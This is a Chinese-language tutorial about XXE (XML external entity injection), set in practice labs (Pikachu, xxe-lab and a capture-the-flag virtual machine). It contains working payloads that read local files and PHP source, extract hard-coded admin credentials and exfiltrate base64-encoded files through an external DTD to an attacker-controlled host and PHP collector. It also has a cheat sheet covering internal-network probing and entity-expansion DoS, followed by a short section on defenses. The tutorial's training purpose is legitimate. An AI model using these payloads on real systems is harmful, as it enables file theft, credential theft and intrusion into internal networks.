云计算百科
云计算领域专业知识百科平台

XXE 漏洞

XXE 漏洞 — 当 XML 解析器帮你偷文件

SQL 注入是对数据库下手,XSS 是往页面里塞 JS,SSRF 是让服务器当跳板。今天来一个冷门但杀伤力极大的:XXE(XML 外部实体注入)。它不需要花里胡哨的技巧,只需要几行 XML,就能让服务器乖乖把内部文件读给你看。从原理到两次 Base64 解密拿 Flag,一路通关。


课程概览

1. XML 基础:概念、与 HTML 的区别、实际应用
2. XXE 是什么?有哪些危害?
3. 有回显 XXE:直接读取文件
4. 无回显 XXE:盲打进带出的艺术
5. xxe-lab 靶场实战
6. 综合案例:虚拟机靶场通关拿 Flag
7. XXE 防御与修复


一、XML 基础快速复习

XXE 的本质是利用了 XML 解析器对外部实体的信任。所以学 XXE 之前,必须知道 XML 是什么。

1.1 XML 概念

XML 被设计为传输和存储数据,它把数据从 HTML 中分离出来,是独立于软件和硬件的信息传输工具。

一个标准的 XML 文档包含三部分:

XML 声明 → <?xml version="1.0"?>
DTD 定义 → <!DOCTYPE … > (可选,文档类型定义)
文档元素 → <root>实际数据</root>

1.2 XML vs HTML

对比XMLHTML
设计目的 传输和存储数据 显示数据
关注焦点 数据的内容 数据的外观
标签 自定义标签 预定义标签
严格性 格式严格,错一点就报错 容错性强

一句话:HTML 用来展示,XML 用来传输。

1.3 XML 的实际应用

如果你做过 Java 开发,这些文件你一定见过:

文件用途
pom.xml Maven 项目依赖配置
web.xml Java Web 应用的部署描述符
mybatis/mapper.xml MyBatis 数据库映射配置

这说明 XML 在企业应用中无处不在,也意味着 XXE 的攻击面非常广。


二、XXE 概念与危害

2.1 什么是 XXE?

XXE 全称 XML External Entity Injection,中文:XML 外部实体注入。

原理一句话:

应用程序解析 XML 时,没有禁止外部实体的加载,攻击者可以构造恶意的 XML 让解析器去读取本地文件、发起网络请求、探测内网端口等。

2.2 XXE 能造成哪些危害?

危害说明
读取任意文件 file:///etc/passwd 拿服务器用户列表
命令执行 配合特定环境执行系统命令
内网端口扫描 探测内网存活主机和开放端口
攻击内网网站 以服务器为跳板对内网发起攻击
DoS 攻击 实体嵌套导致解析器资源耗尽

⚠️ 需要 Apache >= 5.4 版本(部分 PHP 环境中 XXE 才有实际效果)。


2.3 案例:XXE 有回显读取文件

第一步:准备被读取的文件

在桌面建一个 1.txt,内容随意(比如 Hello World! 这是敏感数据),路径为:

C:\\Users\\Administrator\\Desktop\\1.txt

第二步:打开 Pikachu 靶场 XXE 页面

http://localhost/pikachu/vul/xxe/xxe_1.php

第三步:构造 XXE Payload

<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>

<foo>&xxe;</foo>

逐行拆解:

<?xml version="1.0"?> → XML 声明
<!DOCTYPE any[ → DTD 定义,any 是根元素名(随便写)
<!ENTITY xxe SYSTEM "file:///C://…1.txt"> → 定义外部实体 xxe,指向本地文件
]>
<foo>&xxe;</foo> → 在 <foo> 标签中引用实体 &xxe;

&xxe; 会被替换为 1.txt 文件的内容。注意实体名 xxe 随便写,a、abc、file 都行。

等价写法(实体名可以随便取)

<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY a SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
]>

<b>&a;</b>

更猛的操作:读取系统 hosts 文件

<?xml version = "1.0"?>
<!DOCTYPE any[
<!ENTITY a SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
]>

<b>&a;</b>

也可以定义内部实体(不读文件,纯测试)

<?xml version = "1.0"?>
<!DOCTYPE a[
<!ENTITY a "嘻嘻">
]>

<c>&a;</c>

提交后页面显示「嘻嘻」→ 说明 XML 解析器正常工作,XXE 测试环境确认无误!


2.4 案例:XXE 无回显(盲 XXE)— 外带数据

很多时候 XXE 没有回显——你读了文件但页面不显示内容。怎么办?把数据带出来。

基本原理

1. 目标服务器解析 XXE → 读取文件内容
2. 将文件内容编码后作为 URL 参数
3. 向攻击者的服务器发起 HTTP 请求
4. 攻击者的 get.php 接收并保存数据

环境准备:修改靶场让它无回显

修改 \\pikachu\\vul\\xxe\\xxe_1.php,去掉正常的回显,让它变成一个「无回显」页面。

三步走攻击

第一步:主攻击脚本(贴到 Pikachu 输入框)

<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.220.135/vil.dtd">
%dtd;
]>

%dtd; 引用攻击者服务器上的外部 DTD 文件 vil.dtd。

第二步:在攻击者虚拟机(Win10)上创建 vil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.220.135/get.php?file=%file;'>">
%all;
%send;

逐步拆解:

<!ENTITY % file SYSTEM "php://filter/…">
→ 定义参数实体 %file,读取目标文件并 Base64 编码

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://…?file=%file;'>">
→ 利用 %file 的值构造一个动态的 %send 实体
→ %send 就是向攻击者服务器发送 HTTP 请求,URL 参数中附带文件内容

%all; → 执行 %all → 动态生成 %send 实体
%send; → 执行 %send → 向攻击者服务器发起带数据的请求

第三步:在攻击者虚拟机上创建 get.php

<?php
$data = $_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

攻击完成!访问 http://192.168.220.135/file.txt → 看到 Base64 编码的文件内容 → 解码 → 原始文件到手!


2.5 无回显 XXE 的三个关键疑问

Q1:为什么需要嵌套 %all 这一层?

<!– 下面这种写法会报错! –>
<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/…">
<!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file'>
%send;
]>

XML 解析器不会解析同一层级的参数实体。必须把 %send 的定义放到 %all 里面,由 %all 去动态生成 %send,才能让 %file 的值被正确替换进去。

Q2:为什么必须引用外部 DTD 文件?

在 DTD 内部子集中,不允许在标记声明中引用参数实体。必须使用外部 DTD(即单独的 .dtd 文件)来绕过这个限制。

<!– 必须这样,引用外部文件 –>
<!DOCTYPE ANY [
<!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd">
%dtd;
]>

Q3:&#x25; 是什么?

&#x25; 是 % 号的 HTML 实体编码。直接写 % 在实体内部会被解析器误以为是参数实体声明符,所以用 &#x25; 替代,等解析时再转回 %。


三、靶场实战:xxe-lab

3.1 环境

http://localhost/xxe/

3.2 登录并拦截

  • 打开 http://localhost/xxe/
  • 随便输入用户名密码,用 Burp Suite 拦截请求
  • 发现请求体是 XML 格式 → 潜在 XXE 攻击点!
  • 发送到 Repeater(重试模块)
  • 3.3 验证 XXE 漏洞

    在 Repeater 中将请求体替换为:

    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">
    ]>

    <user><username>
    &file;
    </username><password>12313</password></user>

    返回了 1.txt 的内容 → XXE 漏洞确认!

    3.4 获取用户名密码

    但我们不知道后台的验证逻辑,如何拿到真正的用户名密码?直接读取登录处理的 PHP 源码!

    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
    ]>

    <user><username>
    &file;
    </username><password>12313</password></user>

    关键技术:

    php://filter/read=convert.base64-encode/resource=文件路径

    PHP 的 php://filter 伪协议能读取文件并以 Base64 编码返回。不直接用 file:// 的原因:如果文件是 PHP 代码,PHP 解析器会执行它而不是输出源码,用 Base64 编码就能绕过执行,拿到原始代码。

    解密: 访问 https://base64.us/ 将返回的 Base64 解码 → 得到 doLogin.php 的源码 → 源码中硬编码了用户名和密码!

    用拿到的账号密码登录 → 登录成功!


    四、综合案例:虚拟机靶场通关

    这是一个模拟真实攻防的复杂靶场,需要经过端口扫描 → 目录扫描 → XXE 探测 → 多步读取 → 两次解密才能拿到 Flag。


    4.1 环境安装

  • 在 VMware 中通过 .ovf 文件导入靶场虚拟机
  • 网络模式设置为 NAT(减少探测范围)

  • 4.2 端口扫描 — 定位目标

    在 Kali 中扫描 NAT 网段:

    sudo su root
    nmap 192.168.220.1/24

    发现 192.168.220.136 开放了 80 端口 → 这就是目标!

    访问 http://192.168.220.136 → 看到 Web 页面。


    4.3 目录扫描

    # 用 nmap 脚本扫描
    nmap -sV 192.168.220.136 –script default

    发现关键路径:

    http://192.168.220.136/robots.txt ← 信息泄露!
    http://192.168.220.136/xxe/ ← XXE 功能点!


    4.4 XXE 漏洞探测

    访问 http://192.168.220.136/xxe/ → 登录页面,用 BP 拦截 → XML 格式 → XXE 攻击点!

    第一步:读取 xxe.php 源码

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
    ]>

    <root><name>
    &file;
    </name><password>123213</password></root>

    Base64 解码后得到:

    <?php
    libxml_disable_entity_loader (false); // 未禁止外部实体!漏洞根源
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $info = simplexml_import_dom($dom);
    $name = $info->name;
    $password = $info->password;
    echo "Sorry, this $name not available!"; // 永远显示错误,但能被 XXE 截胡!
    ?>

    发现这个页面无论输入什么都返回错误 — 但这不重要,XXE 能读取它背后的文件!


    第二步:读取 admin.php 获取后台密码

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
    ]>

    <root><name>
    &file;
    </name><password>123213</password></root>

    Base64 解码后得到 admin.php 源码,从中提取出:

    用户名:administhebest
    密码: admin@123(经过 MD5 解密 → https://cmd5.com/)


    第三步:登录后台

    访问 http://192.168.220.136/xxe/admin.php → 输入上面拿到的用户名密码 → 登录成功!

    页面提示 Flag 在某个地方,但直接访问该链接发现「不容许访问」→ 继续用 XXE 读!


    第四步:读取 flagmeout.php

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
    ]>

    <root><name>
    &file;
    </name><password>123213</password></root>

    Base64 解码后得到:

    <?php
    $flag = "<!– the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) –>";
    echo $flag;
    ?>

    Flag 经过了两层编码!


    第五步:两次解密密文

    密文: JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

    第一次解密 — Base32:

    JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 → (Base32 解码) → L2V0Yy8uZmxhZy5waHA=

    Base32 解码工具:https://www.bejson.com/encrypt/base32/

    第二次解密 — Base64:

    L2V0Yy8uZmxhZy5waHA= → (Base64 解码) → /etc/.flag.php

    隐藏文件 .flag.php 在 /etc/ 目录下!文件名前的 . 表示 Linux 隐藏文件。


    第六步:读取最终的 Flag

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
    ]>

    <root><name>
    &file;
    </name><password>123213</password></root>

    Base64 解码 → 得到一段混淆的 PHP 代码 → 使用在线 PHP 代码执行工具运行:

    • https://code.y444.cn/
    • https://www.toolnb.com/dev/runCode.html

    🎉 输出内容:{xxe_is_so_easy} — Flag 到手!


    综合案例通关路线图

    nmap 扫端口 → 找到 192.168.220.136:80

    目录 / 文件扫描 → 发现 robots.txt + /xxe/ 登录页

    BP 拦截 XXE 登录请求 → 验证 XML 解析 XXE

    读取 xxe.php → 确认漏洞 + 了解代码逻辑

    读取 admin.php → 拿到 admin@123(MD5 解密)

    登录后台 → 发现 flagmeout.php 链接不容许访问

    读取 flagmeout.php → 拿到 Base32 密文

    Base32 → Base64 两次解密 → /etc/.flag.php

    读取 /etc/.flag.php → 混淆 PHP 代码

    在线运行 PHP 代码 → 🎯 {xxe_is_so_easy}


    五、XXE 漏洞防御

    防御方法:禁止外部实体

    在 xxe.php 中修改代码:

    // XXE 漏洞防御
    // 禁止外部实体 — libxml_disable_entity_loader 必须为 true
    libxml_disable_entity_loader(true);

    验证修复效果

    再次对 http://localhost/xxe/ 发起 XXE 攻击:

    <!DOCTYPE ANY [
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
    ]>

    <user><username>
    &file;
    </username><password>12313</password></user>

    无法读取文件内容 → XXE 漏洞已被修复!

    防御总结

    措施说明
    禁用外部实体 libxml_disable_entity_loader(true)
    过滤 XML 输入 过滤 DOCTYPE、ENTITY、SYSTEM 等关键字
    使用白名单协议 仅允许安全的协议,拒绝 file://、ftp:// 等
    升级 XML 解析器 使用默认禁用外部实体加载的新版解析器
    WAF 拦截 开 WAF 检测 XXE 攻击特征

    六、XXE Payload 速查表

    场景Payload
    有回显读文件 <!ENTITY xxe SYSTEM "file:///path/to/file">
    读 PHP 源码 <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxx.php">
    无回显外带 <!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd"> %dtd;
    内网探测 <!ENTITY xxe SYSTEM "http://192.168.1.1:80">
    DoS 攻击 递归实体嵌套 <!ENTITY a "&b;&b;&b;&b;&b;…">

    七、课后作业

    综合案例:对虚拟机靶场进行完整 XXE 攻击,拿到最终 Flag {xxe_is_so_easy}。


    写在最后: XXE 是一个看似冷门但杀伤力极大的漏洞——只需几行 XML,就能让服务器把内部文件拱手送上。很多开发者以为 XML 只是数据格式,没意识到它能加载外部实体,从而埋下大雷。搞定 XXE,你的漏洞挖掘武器库又多了件神兵利器。下一课见!

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » XXE 漏洞
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!